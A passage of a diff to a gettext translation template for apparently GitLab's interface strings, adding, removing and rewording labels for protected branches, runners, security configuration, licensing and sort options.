-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26827,12 +26512,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26842,6 +26536,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26851,12 +26548,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26902,18 +26602,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27319,6 +27031,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27346,6 +27061,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27526,6 +27244,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27541,15 +27262,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27565,9 +27280,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27715,15 +27427,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27733,15 +27448,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -28147,6 +27853,9 @@ msgstr[2] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28297,12 +28006,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28318,9 +28021,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28417,6 +28117,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28426,9 +28129,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28495,12 +28195,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28510,6 +28219,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28519,9 +28231,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28534,9 +28255,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28579,12 +28306,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28615,6 +28348,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28693,6 +28432,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28744,10 +28489,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28780,6 +28522,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28831,6 +28576,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28915,9 +28663,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -29059,12 +28804,6 @@ msgstr[2] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -29131,6 +28870,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -29152,6 +28894,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -29161,6 +28906,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29185,9 +28936,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29197,12 +28957,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29215,7 +28984,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29224,6 +28996,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29236,6 +29014,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29248,7 +29047,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29311,6 +29110,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29416,6 +29218,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29518,9 +29323,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29551,9 +29353,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29656,9 +29464,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29752,7 +29557,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29791,10 +29596,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29836,9 +29641,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29881,6 +29683,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29971,6 +29776,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30151,9 +29959,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30178,6 +29983,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30202,9 +30010,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30232,9 +30037,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30268,12 +30070,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30322,6 +30118,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30655,9 +30454,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30760,6 +30556,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30826,12 +30625,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30865,9 +30658,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30910,9 +30700,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30964,6 +30751,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30982,6 +30772,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31084,15 +30877,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31309,12 +31093,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31333,7 +31123,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31363,6 +31153,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31450,6 +31243,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31459,9 +31255,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31816,6 +31609,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31834,7 +31630,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31906,9 +31708,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31921,7 +31720,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31969,7 +31768,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31984,7 +31783,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31993,10 +31792,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32188,6 +31987,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32548,7 +32350,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32557,6 +32359,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32566,6 +32371,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32599,9 +32407,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32635,7 +32440,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32665,6 +32470,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32740,6 +32548,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32761,15 +32572,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32854,18 +32665,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32929,9 +32734,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32950,10 +32752,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32968,9 +32770,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32980,9 +32779,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33001,9 +32797,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33145,9 +32938,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33268,6 +33058,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33343,6 +33136,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33376,7 +33172,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33472,6 +33268,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33511,9 +33310,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33598,7 +33394,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34339,9 +34135,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34426,9 +34228,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
